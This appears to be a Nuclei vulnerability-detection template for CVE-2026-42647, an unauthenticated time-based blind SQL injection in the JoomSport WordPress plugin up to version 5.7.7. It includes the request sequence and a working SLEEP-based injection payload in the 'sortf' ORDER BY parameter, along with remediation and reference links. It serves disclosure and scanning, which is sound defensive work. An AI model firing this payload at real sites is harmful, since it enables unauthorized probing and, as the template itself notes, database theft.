The JoomSport WordPress plugin through 5.7.7 is vulnerable to unauthenticated time-based blind SQL injection via the 'sortf' GET parameter in the player list view. The parameter value is backtick-wrapped and directly concatenated into an ORDER BY clause.
PoC
id: CVE-2026-42647
info:
name: JoomSport <= 5.7.7 - SQL Injection
author: theamanrawat
severity: critical
description: |
The JoomSport WordPress plugin through 5.7.7 is vulnerable to unauthenticated time-based blind SQL injection via the 'sortf' GET parameter in the player list view. The parameter value is backtick-wrapped and directly concatenated into an ORDER BY clause.
impact: |
Unauthenticated attackers can extract any data from the WordPress database including admin credentials, user emails, and plugin-stored secrets via time-based blind SQL injection.
remediation: |
Update to JoomSport version 5.7.8 or later, which implements column whitelist validation.
reference:
- https://patchstack.com/database/wordpress/plugin/joomsport-sports-league-results-management/vulnerability/wordpress-joomsport-plugin-5-7-7-sql-injection-vulnerability
- https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.5/sportleague/base/wordpress/classes/class-jsport-getplayers.php#L153
- https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.5/sportleague/classes/objects/class-jsport-playerlist.php#L80
- https://nvd.nist.gov/vuln/detail/CVE-2026-42647
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
cvss-score: 9.3
cve-id: CVE-2026-42647
epss-score: 0.01323
epss-percentile: 0.69476
cwe-id: CWE-89
metadata:
verified: true
max-request: 3
vendor: beardev
product: joomsport-sports-league-results-management
framework: wordpress
tags: cve,cve2026,wp,wordpress,wp-plugin,joomsport,sqli,vkev
flow: http(1) && http(2) && http(3)
http:
- method: GET
path:
- "{{BaseURL}}/wp-sitemap-posts-joomsport_season-1.xml"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "<loc>")'
condition: and
internal: true
extractors:
- type: regex
name: season_path
part: body
group: 1
regex:
- '<loc>[^<]*?//[^/]+(\/[^<]+)</loc>'
internal: true
- raw:
- |
GET {{season_path}}?action=playerlist&sortf=post_title&sortd=ASC HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "Name", "Match played", "Played minutes")'
condition: and
internal: true
- raw:
- |
@timeout: 20s
GET {{season_path}}?action=playerlist&sortf=post_title%60,(SELECT/**/x/**/FROM/**/(SELECT/**/SLEEP(6)/**/AS/**/x)/**/AS/**/t)%23&sortd=ASC HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration >= 6'
- 'status_code == 200'
- 'contains_all(body, "Name", "Match played", "Played minutes")'
condition: and
# digest: 490a004630440220388459bfb344e1af5a2961c5494d3d0506fb1a87ef8230b21ff875b1d6c98e12022048354adf07ba92eb5ed7477cb2aba659b00bd64366c339bf69e49bf6e7329c89:922c64590222798bb761d5b6d8e72950
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